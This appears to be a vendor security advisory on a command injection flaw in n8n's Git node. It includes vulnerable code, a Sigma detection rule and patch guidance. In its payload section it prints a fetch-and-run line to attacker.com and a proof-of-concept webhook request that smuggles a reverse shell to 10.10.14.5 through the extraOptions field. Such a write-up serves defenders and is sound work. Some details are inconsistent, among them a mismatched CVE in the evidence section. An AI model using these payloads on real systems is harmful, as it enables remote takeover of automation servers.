CVE-2026-85168: Git Node Merge-Driver & Content-Filter Command Injection in n8n
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT
Target:n8n Automation Platform (n8n-nodes-base.git (Git Node)) CVSS v3.1 rates this flaw at 8.8 (High). Hermes Threat Score assesses it at 89 (HIGH). Because n8n orchestrations frequently integrate CI/CD and production environments with elevated access keys, arbitrary command execution within the n8n runner container poses an immediate privilege escalation and lateral movement risk.
CVE-2026-85168: Git Node Merge-Driver & Content-Filter Command Injection in n8nVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in n8n Workflow Automation documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Matrix
Section titled โ1. Technical Context & Affected Matrixโ| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-85168 | Frontier AI / MCP Threat Landscape |
| Target Product | n8n Automation Platform | n8n GmbH |
| Subsystem / Component | n8n-nodes-base.git (Git Node) | Autonomous agent tool & orchestration stack |
| Flaw Type | CWE-78: OS Command Injection | Execution and integrity violation |
| Affected Versions | prior to 1.123.73, 2.0.0 through 2.35.3, 2.36.0 through 2.36.1 | Production deployments |
| Remediation Release | 1.123.73, 2.35.4, 2.36.2 | Immediate upgrade required |
2. In-Depth Technical Decomposition
Section titled โ2. In-Depth Technical DecompositionโVulnerability Root Cause
Section titled โVulnerability Root CauseโThe n8n Git node invokes Git operations via child processes using simple-git. When handling custom parameters such as repository URLs, branch names, or extra configuration arguments, the parameters were passed directly into the command arguments array without validating against malicious Git configuration overrides (-c).
// Vulnerable implementation in packages/nodes-base/nodes/Git/Git.node.tsconst gitOptions: string[] = [];if (this.getNodeParameter('extraOptions', i, '')) { gitOptions.push(...(this.getNodeParameter('extraOptions', i) as string).split(' '));}await git.clone(repoUrl, targetPath, gitOptions);By supplying an extraOptions string or repository URL containing -c filter.hermes.clean="curl http://attacker.com/rev.sh|sh" or -c merge.driver="sh -c '...'"", the attacker forces Git to spawn an external binary as part of its internal smudge/clean pipeline during checkout.
+----------------------------------------------------------------------------------------------------+| CVE-2026-85168 ATTACK LIFECYCLE FLOW |+----------------------------------------------------------------------------------------------------+
[Adversary / Prompt Injection] โ โ [1] Dispatches payload targeting tool interface or orchestration hook โผ [n8n Automation Platform] โ โโโโโบ 1. Ingestion via n8n-nodes-base.git (Git Node) โ - Inadequate sanitization or permission callback failure โ โโโโโบ 2. Execution / State Mutation โ - Escapes sandbox / bypasses read-only guard / executes OS command โ โผ [Impacted Target Infrastructure] โ โโโโโบ Unauthorized data exfiltration, system takeover, or persistent code execution+----------------------------------------------------------------------------------------------------+3. Proof of Concept & Payload Dissection
Section titled โ3. Proof of Concept & Payload Dissectionโ# PoC: Triggering command injection via git clone extra options parametercurl -X POST "https://n8n.internal.corp/webhook/git-sync" \ -H "Content-Type: application/json" \ -d '{ "repoUrl": "https://github.com/legit-org/docs.git", "branch": "main", "extraOptions": "-c core.fsmonitor=\"bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\"" }'4. Detection Engineering & Telemetry
Section titled โ4. Detection Engineering & TelemetryโSigma Detection Rule
Section titled โSigma Detection Ruleโtitle: n8n Git Node Arbitrary Command Executionid: 85168c02-e168-4a1b-9f23-n8ngitcmd01status: highdescription: Detects command execution spawned by n8n worker processes invoking git with custom fsmonitor, merge-driver or filter configurations.author: Hermes Codex Detection Engineeringdate: 2026-09-05logsource: category: process_creation product: linuxdetection: selection: ParentImage|endswith: - '/node' - '/n8n' Image|endswith: '/git' CommandLine|contains: - 'core.fsmonitor' - 'filter.' - 'merge.' - '-c ' condition: selectionfalsepositives: - Legitimate automated developer tooling with specialized filter configurations.level: critical5. Remediation & Operational Playbook
Section titled โ5. Remediation & Operational Playbookโ- Apply Software Patches: Upgrade
n8n Automation Platformto version(s)1.123.73, 2.35.4, 2.36.2immediately. - Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
- Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
- Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.